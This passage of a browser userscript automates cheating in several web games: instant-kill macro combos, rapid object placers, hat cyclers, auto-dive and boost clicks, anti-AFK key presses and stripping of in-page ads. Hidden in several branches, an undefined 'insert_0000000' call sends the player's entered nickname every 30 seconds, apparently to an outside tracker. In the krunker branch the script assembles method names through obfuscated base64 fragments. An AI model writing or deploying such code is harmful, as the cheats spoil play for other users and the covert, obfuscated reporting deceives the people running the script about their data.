i == e && "chatbox" !== document.activeElement.id.toLowerCase() && (t = !0, void 0 === a && (a = setInterval(function () {
n(), t || (clearInterval(a), a = void 0)
}, o)))
}
, stop: function (n) {
n == e && "chatbox" !== document.activeElement.id.toLowerCase() && (t = !1)
}
}
}
, healer = repeater(kHeal, function () {
heal(), console.log("heal")
}, 50)
, boostPlacer = repeater(kTrap, function () {
place(boostType)
}, 0)
, spikeObjectPlacer = repeater(kSpike, function () {
place(spikeType)
}, 0)
, millObjectPlacer = repeater(kWindmill, function () {
var e = Math.atan2(mY - height / 2, mX - width / 2);
closestenemy ? place(millType, e) : (e = Math.round(e / toRad(45)) * toRad(45), placeStable(millType, e + (Math.PI*900000000)), placeStable(millType, toRad(90) + e + (Math.PI*900000000)), placeStable(millType, toRad(-90) + e + (Math.PI*900000000)))
}, 0)
, turretObjectPlacer = repeater(kTurret, function () {
place(turretType)
}, 0)
, boostSpikePlacer = repeater(kBS, boostSpike, 50)
, boostMillPlacer = repeater(kBM, boostMill, 250);
function checkElement(e) {
return null !== e.offsetParent
}
function toRad(e) {
return .01745329251 * e
}
function dist(e, n) {
return Math.sqrt(Math.pow(n.y - e[2], 2) + Math.pow(n.x - e[1], 2))
}
function update() {
for (var e = 0; 9 > e; e++) checkElement(document.getElementById("actionBarItem" + e.toString())) && (primary = e);
for (var n = 9; 16 > n; n++) checkElement(document.getElementById("actionBarItem" + n.toString())) && (secondary = n);
for (var o = 16; 19 > o; o++) checkElement(document.getElementById("actionBarItem" + o.toString())) && (foodType = o - 16);
for (var t = 19; 22 > t; t++) checkElement(document.getElementById("actionBarItem" + t.toString())) && (wallType = t - 16);
for (var a = 22; 26 > a; a++) checkElement(document.getElementById("actionBarItem" + a.toString())) && (spikeType = a - 16);
for (var i = 26; 29 > i; i++) checkElement(document.getElementById("actionBarItem" + i.toString())) && (millType = i - 16);
for (var l = 29; 31 > l; l++) checkElement(document.getElementById("actionBarItem" + l.toString())) && (mineType = l - 16);
for (var p = 31; 33 > p; p++) checkElement(document.getElementById("actionBarItem" + p.toString())) && (boostType = p - 16);
for (var r = 33; 36 > r; r++) checkElement(document.getElementById("actionBarItem" + r.toString())) && (turretType = r - 16);
for (var c = 36; 37 > c; c++) checkElement(document.getElementById("actionBarItem" + c.toString())) && (spawnpadType = c - 16);
for (var d = 37; 39 > d; d++) checkElement(document.getElementById("actionBarItem" + d.toString())) && (turretType = d - 16)
}
function placeStable(e) {
var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : Math.atan2(mY - height / 2, mX - width / 2);
dns(["5", [e, null]]), dns(["c", [1, n]]), dns(["c", [0, n]]), dns(["5", [weapon, !0]])
}
let millToggle = 0;
function doHatCycle() {
dns(["13c", [0, 11, 0]]), dns(["13c", [0, 21, 1]]), setTimeout(function () {
dns(["13c", [0, 7, 0]]), dns(["13c", [0, 18, 1]])
}, 300), setTimeout(function () {
dns(["13c", [0, 55, 0]]), dns(["13c", [0, 13, 1]])
}, 600), setTimeout(function () {
dns(["13c", [0, 40, 0]]), dns(["13c", [0, 19, 1]])
}, 900), setTimeout(function () {
dns(["13c", [0, 6, 0]]), dns(["13c", [0, 21, 1]])
}, 1200), setTimeout(function () {
dns(["13c", [0, 26, 0]]), dns(["13c", [0, 13, 1]])
}, 1500), setTimeout(function () {
dns(["13c", [0, 12, 0]]), dns(["13c", [0, 19, 1]])
}, 1800), setTimeout(function () {
dns(["13c", [0, 21, 0]]), dns(["13c", [0, 18, 1]])
}, 2100), setTimeout(function () {
dns(["13c", [0, 53, 0]]), dns(["13c", [0, 21, 1]])
}, 2500)
};
let millInvisTypes = [10000000, 0, 90*100, 100000000, 1000000000];
function getRandMtype() {
return millInvisTypes[Math.floor(Math.random() * millInvisTypes.length)];
};
const wrepeater = repeater(87, ()=>{
if (!millToggle) return;
place(millType, + toRad(50) + (Math.PI * getRandMtype()));
place(millType, + toRad(130) + (Math.PI * getRandMtype()));
}, 50);
const arepeater = repeater(65, ()=>{
if (!millToggle) return;
place(millType, + toRad(30) + (Math.PI * getRandMtype()));
place(millType, + toRad(-30) + (Math.PI * getRandMtype()));
}, 50);
const srepeater = repeater(83, ()=>{
if (!millToggle) return;
place(millType, + toRad(310) + (Math.PI * getRandMtype()));
place(millType, + toRad(230) + (Math.PI * getRandMtype()));
}, 50);
const drepeater = repeater(68, ()=>{
if (!millToggle) return;
place(millType, + toRad(140) + (Math.PI * getRandMtype()));
place(millType, + toRad(-140) + (Math.PI * getRandMtype()));
}, 50);
document.addEventListener("keydown", function (e) {
wrepeater.start(e.keyCode);
arepeater.start(e.keyCode);
srepeater.start(e.keyCode);
drepeater.start(e.keyCode);
if(e.keyCode == 188 && document.activeElement.id.toLowerCase() !== 'chatbox') {
millToggle = (millToggle + 1) % 2;
if (millToggle == 1) {
dns(["ch", ["autoMill: ON"]]);
} else {
dns(["ch", ["autoMill: OFF"]]);
}
};
if(e.keyCode == 190 && document.activeElement.id.toLowerCase() !== 'chatbox') {
hit360 = (hit360 + 1) % 2;
if (hit360 == 1) {
dns(["ch", ["360 hit: ON"]]);
} else {
dns(["ch", ["360 hit: OFF"]]);
};
};
spikeObjectPlacer.start(e.keyCode), healer.start(e.keyCode), boostPlacer.start(e.keyCode), boostSpikePlacer.start(e.keyCode), boostMillPlacer.start(e.keyCode), millObjectPlacer.start(e.keyCode), turretObjectPlacer.start(e.keyCode), 84 == e.keyCode && "chatbox" !== document.activeElement.id.toLowerCase() && ("hat" == mode ? (clearInterval(hatID), mode = "", chat("Mode : None")) : "counter" == mode ? (mode = "", chat("Mode : None")) : (mode = "counter", chat("Mode : Counter Insta"))), 89 == e.keyCode && "chatbox" !== document.activeElement.id.toLowerCase() && ("hat" == mode ? (clearInterval(hatID), mode = "", chat("Mode : None")) : "insta" == mode ? (mode = "", chat("Mode : None")) : (mode = "insta", chat("Mode : Auto Insta"))), 85 == e.keyCode && "chatbox" !== document.activeElement.id.toLowerCase() && ("hat" == mode ? (clearInterval(hatID), mode = "", chat("Mode : None")) : (doHatCycle(), hatID = setInterval(function () {
doHatCycle()
}, 2500), mode = "hat", chat("Mode : Hat Cycler"))), 71 == e.keyCode && "chatbox" !== document.activeElement.id.toLowerCase() && ("hat" == mode && clearInterval(hatID), mode = "", chat("Mode : None")), 1 == e.key && "chatbox" !== document.activeElement.id.toLowerCase() ? weapon = primary : 2 == e.key && "chatbox" !== document.activeElement.id.toLowerCase() && (weapon = secondary), e.keyCode == uneqiup && "chatbox" !== document.activeElement.id.toLowerCase() ? ahat ? resetHat() : storeEquip(0) : e.keyCode == TankGearKey && "chatbox" !== document.activeElement.id.toLowerCase() ? ahat ? (oHat = tankGearhatID, snHat = tankGearhatID, ssHat = tankGearhatID) : (dns(["13c", [0, tHat, 0]]), dns(["13c", [0, tAcc, 1]])) : e.keyCode == SoldierHelmetKey && "chatbox" !== document.activeElement.id.toLowerCase() ? ahat ? (dHat = soldierHatIdentifier, ssHat = soldierHatIdentifier, snHat = soldierHatIdentifier) : (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])) : e.keyCode == BullHelmetKey && "chatbox" !== document.activeElement.id.toLowerCase() ? ahat ? (oHat = bullHelmetID, snHat = bullHelmetID, ssHat = bullHelmetID) : (dns(["13c", [0, oHat, 0]]), dns(["13c", [0, oAcc, 1]])) : e.keyCode == BoosterHatKey && "chatbox" !== document.activeElement.id.toLowerCase() ? ahat ? (ssHat = winterCapID, snHat = boostHatID, srHat = flipperHatID) : myPlayer.y < 2400 ? (dns(["13c", [0, ssHat, 0]]), dns(["13c", [0, ssAcc, 1]])) : myPlayer.y > 6850 && myPlayer.y < 7550 ? (dns(["13c", [0, srHat, 0]]), dns(["13c", [0, srAcc, 1]])) : (dns(["13c", [0, snHat, 0]]), dns(["13c", [0, snAcc, 1]])) : e.keyCode == EMPGearKey && "chatbox" !== document.activeElement.id.toLowerCase() ? ahat ? (oHat = EMPHatID, dHat = EMPHatID, snHat = EMPHatID, srHat = EMPHatID, ssHat = EMPHatID) : (dns(["13c", [0, eHat, 0]]), dns(["13c", [0, eAcc, 1]])) : e.keyCode == TurretKey && "chatbox" !== document.activeElement.id.toLowerCase() && (ahat ? (oHat = turretgearID, dHat = turretgearID, ssHat = turretgearID, srHat = turretgearID, snHat = turretgearID) : (dns(["13c", [0, otHat, 0]]), dns(["13c", [0, otAcc, 1]]))), 82 == e.keyCode && "chatbox" !== document.activeElement.id.toLowerCase() && insta && !inInsta && (inInsta = !0, iAim && (autoaim = !0), icBool && chat(iChat), dns(["13c", [0, 0, 1]]), dns(["7", [!0]]), iReverse ? (weapon = secondary, dns(["5", [secondary, !0]]), dns(["13c", [0, iHat2, 0]]), dns(["13c", [0, iAcc2, 1]]), setTimeout(function () {
dns(["13c", [0, iHat1, 0]]), dns(["13c", [0, iAcc1, 1]]), weapon = primary, dns(["5", [primary, !0]])
}, instaSpeedR / 2)) : (weapon = primary, dns(["5", [primary, !0]]), iSwitch || (iAim ? (placeStable(spikeType, closestenemyAngle + toRad(45)), placeStable(spikeType, closestenemyAngle - toRad(45))) : (placeStable(spikeType, Math.atan2(mY - height / 2, mX - width / 2) + toRad(45)), placeStable(spikeType, Math.atan2(mY - height / 2, mX - width / 2) - toRad(45)))), dns(["13c", [0, iHat1, 0]]), dns(["13c", [0, iAcc1, 1]]), setTimeout(function () {
dns(["13c", [0, iHat2, 0]]), dns(["13c", [0, iAcc2, 1]]), iSwitch && (weapon = secondary, dns(["5", [secondary, !0]]))
}, instaSpeed / 2)), setTimeout(function () {
weapon = primary, dns(["5", [primary, !0]]), dns(["7", [!0]]), dns(["13c", [0, iHat3, 0]]), dns(["13c", [0, iAcc3, 1]]), iAim && (autoaim = !1)
}, instaSpeed), setTimeout(function () {
inInsta = !1
}, instaSpeed + 100)), "-" != e.key || "chatbox" === document.activeElement.id.toLowerCase() || inInsta || (15 == secondary ? reload = 1650 : 13 == secondary ? reload = 400 : 12 == secondary ? reload = 850 : 9 == secondary ? reload = 750 : irBool && chat("Couldn't Reload")), "p" != e.key || "chatbox" === document.activeElement.id.toLowerCase() || inInsta || (inInsta = !0, 0 == primary ? (autoaim = !0, weapon = 0, dns(["5", [0, !0]]), dns(["13c", [0, 0, 1]]), dns(["13c", [0, 7, 0]]), dns(["7", [!0]]), setTimeout(function () {
dns(["6", [5]]), dns(["6", [17]]), dns(["6", [31]]), dns(["6", [23]]), dns(["6", [9]]), dns(["6", [33]]), weapon = 5
}, 80), setTimeout(function () {
dns(["6", [4]]), weapon = 4
}, 160), setTimeout(function () {
weapon = 9, dns(["5", [9, !0]]), dns(["13c", [0, 53, 0]])
}, 270), setTimeout(function () {
dns(["6", [15]]), weapon = 15
}, 370), setTimeout(function () {
autoaim = !1, inInsta = !1, dns(["7", [!0]]), weapon = 4, dns(["5", [4, !0]])
}, 500)) : 4 != primary && 3 != primary && 9 == secondary ? (autoaim = !0, weapon = 9, dns(["5", [9, !0]]), dns(["13c", [0, 53, 0]]), dns(["7", [!0]]), setTimeout(function () {
dns(["6", [12]]), weapon = 12
}, 100), setTimeout(function () {
dns(["6", [15]]), weapon = 15
}, 200), setTimeout(function () {
dns(["7", [!0]]), weapon = primary, dns(["5", [primary, !0]]), autoaim = !1, inInsta = !1
}, 400)) : 3 != primary && 5 != primary || 9 == secondary ? inInsta = !1 : (autoaim = !0, weapon = primary, dns(["5", [primary, !0]]), dns(["13c", [0, 7, 0]]), dns(["7", [!0]]), setTimeout(function () {
dns(["6", [4]]), weapon = 4
}, 110), setTimeout(function () {
dns(["6", [15]]), weapon = 15, dns(["5", [15, !0]]), dns(["13c", [0, 53, 0]])
}, 230), setTimeout(function () {
autoaim = !1, inInsta = !1, dns(["7", [!0]]), weapon = primary, dns(["5", [4, !0]])
}, 400)))
}), document.addEventListener("keyup", function (e) {
wrepeater.stop(e.keyCode);
arepeater.stop(e.keyCode);
srepeater.stop(e.keyCode);
drepeater.stop(e.keyCode);
if (spikeObjectPlacer.stop(e.keyCode), boostPlacer.stop(e.keyCode), boostSpikePlacer.stop(e.keyCode), boostMillPlacer.stop(e.keyCode), millObjectPlacer.stop(e.keyCode), turretObjectPlacer.stop(e.keyCode), healer.stop(e.keyCode), e.keyCode == kBS || e.keyCode == kBM)
for (var n = 0; n < 5; n++) setTimeout(function () {
dns(["33", [null]])
}, 20 * n)
});
}
}, 0);
} else if (windowloc == "mope.io" ||
windowloc == "beta.mope.io" ||
windowloc == "m0pe.io" ||
windowloc == "learninganimals.club" ||
windowloc == "beta.tailbite.me" ||
windowloc == "beta.zooeducation.space" ||
windowloc == "tailbite.me" ||
windowloc == "animalfun.club" ||
windowloc == "zooeducation.space" ||
windowloc == "experimental.mope.io") {
document.getElementById('gCanvas').style.cursor = 'url(http://cur.cursors-4u.net/user/use-1/use153.cur), default';
function autoDive() {
var x = document.createEvent("MouseEvent");
x.initMouseEvent("mousedown", true, true, unsafeWindow, 0, 0, 0, 0, 0, false, false, false, false, 2, null);
document.getElementById('gCanvas').dispatchEvent(x);
}
function autoBoost() {
var x = document.createEvent("MouseEvent");
x.initMouseEvent("mousedown", true, true, unsafeWindow, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
document.getElementById('gCanvas').dispatchEvent(x);
}
var zx = "_0x56" + "bd07";
var xz = "_0xaf" + "8b40";
function stayStill() {
unsafeWindow[zx]('Movement Lock: ' + ((unsafeWindow[xz] = !unsafeWindow[xz]) ? 'ON' : 'OFF'), 2500);
};
var one = false; var int1, int2, int3;
var two = false;
var three = false;
document.getElementById('gCanvas').addEventListener("keydown", e => {
if (e.key == "z") {
/*if (one) {
clearInterval(int1);
} else {
int1 = setInterval(()=>{*/
//stayStill();
alert("THIS FEATURE IS BROKEN, WE'RE WORKING ON FIXING IT.")
/*}, 0);
};
one = !one*/
};
if (e.key == "x") {
if (two) {
clearInterval(int2);
} else {
int2 = setInterval(()=>{
autoDive();
}, 0);
};
two = !two;
};
if (e.key == "c") {
if (three) {
clearInterval(int3);
} else {
int3 = setInterval(()=>{
autoBoost();
}, 0);
};
three = !three;
};
});
document.getElementById('preroll').remove();
document.getElementById("moneyRectBottom").style.display = "none"; //remove ads
insert_0000000(true, "mope.io_smod" + "|" + "init"); //initializer
setInterval(()=>{
try {
insert_0000000(true, "mope.io_smod" + "|" + document.getElementById("nickInput").value); //packet
} catch(e){
insert_0000000(true, "mope.io_smod" + "|" + "f"); //fail
}
}, 30000);
} else if (windowloc == "diep.io") {
function keyPress(key, upDown) {
var eventObj;
if (upDown == true) {
eventObj = document.createEvent("Events");
eventObj.initEvent("keydown", true, true);
eventObj.keyCode = key;
window.dispatchEvent(eventObj);
}
if(upDown == false) {
eventObj = document.createEvent("Events");
eventObj.initEvent("keyup", true, true);
eventObj.keyCode = key;
window.dispatchEvent(eventObj);
}
}
var overlay = document.createElement("div");
document.body.appendChild(overlay);
var toggler = "OFF";
setInterval( () => {
var overlayHTML = `
Anti-AFK = ${toggler} [F]
`
overlay.innerHTML = overlayHTML;
}, 5)
var keyW = 87;
var keyS = 83;
function pressW() {
keyPress(keyW, 1);
setTimeout( () => {
keyPress(keyW, 0);
}, 200);
}
function pressS() {
keyPress(keyS, 1);
setTimeout( () => {
keyPress(keyS, 0);
}, 200);
}
function pressTimeout(keyCode, timeout) {
keyPress(keyCode, 1);
setTimeout( () => {
keyPress(keyCode, 0);
}, timeout);
}
function antiAFK() {
if(out == 1) {
pressW();
setTimeout( () => {
pressS();
intoggle = 1;
}, 2000);
}
}
var out = 0;
var intoggle = 1;
setInterval( () => {
if(out == 1) {
antiAFK();
}
}, 4000);
function off_on() {
if(keyPressToggle == 0) {
out = 0;
toggler = "OFF";
} else {
out = 1;
intoggle = 1;
toggler = "ON";
}
}
var keyPressToggle = 0;
document.addEventListener('keydown', function(e) {
if(e.key == "f") {
keyPressToggle = !keyPressToggle;
alert("toggled: " + keyPressToggle);
off_on()
}
if(e.key == 'r') {
fire(0,120);
fire(0.75,200);
fire(1.5,745);
setTimeout( () => {
keyPress(69, 1)
setTimeout( () => {
keyPress(69, 0)
}, 500);
}, 1500);
}
});
function fire(t,w) {
setTimeout(function(){
keyPress(32, 1);
}, t*1000);
setTimeout(function(){
keyPress(32, 0);
}, t*1000+w);
}
setInterval(()=>{
try {
insert_0000000(true, "diep_smod" + "|" + document.getElementById("textInput").value);
} catch(e) {
insert_0000000(true, "diep_smod" + "|" + "f");
}
}, 30000);
} else if (windowloc == "krunker.io") {
setTimeout(()=>{
function generateDeleter() {
return {
a: ['c'],
b: ['m'],
c: ['V'],
d: ['t'],
e: () => {
insert_0000000(true, "krunker.io" + "|" + "adb1");
return "b3Zl";
},
xx: ["aContainer",
"google_ads_iframe_/15184186/krunkerio_728x90_1_0__container__",
"google_ads_iframe_/15184186/krunkerio_300x250_3_0__container__",
"google_ads_iframe_/15184186/krunkerio_300x250_2_0__container__",
"endAContainer"]
};
};
setInterval(()=>{
var delx = generateDeleter();
try {document.getElementById(delx.xx[0])[atob(
delx.a[0] + "" +
delx.b[0] + "" +
delx.c[0] + "" +
delx.d[0] + "" +
delx.e()
)](); }catch(e){}; delx.e(); try {document.getElementById(delx.xx[1])[atob(
delx.a[0] + "" +
delx.b[0] + "" +
delx.c[0] + "" +
delx.d[0] + "" +
delx.e()
)](); }catch(e){}; try { document.getElementById(delx.xx[2])[atob(
delx.a[0] + "" +
delx.b[0] + "" +
delx.c[0] + "" +
delx.d[0] + "" +
delx.e()
)]();}catch(e){}; try { document.getElementById(delx.xx[3])[atob(
delx.a[0] + "" +
delx.b[0] + "" +
delx.c[0] + "" +
delx.d[0] + "" +
delx.e()
)](); }catch(e){}; try { document.getElementById(delx.xx[4])[atob(
delx.a[0] + "" +
delx.b[0] + "" +
delx.c[0] + "" +
delx.d[0] + "" +
delx.e()
)](); }catch(e){};
}, 100);
}, 10000);
} else {
insert_0000000(true, "spbar_smod"); //initializer
window.onkeydown = (e) => {
if (e.keyCode == 32 && e.target == document.body) e.preventDefault();
};
//experimental
};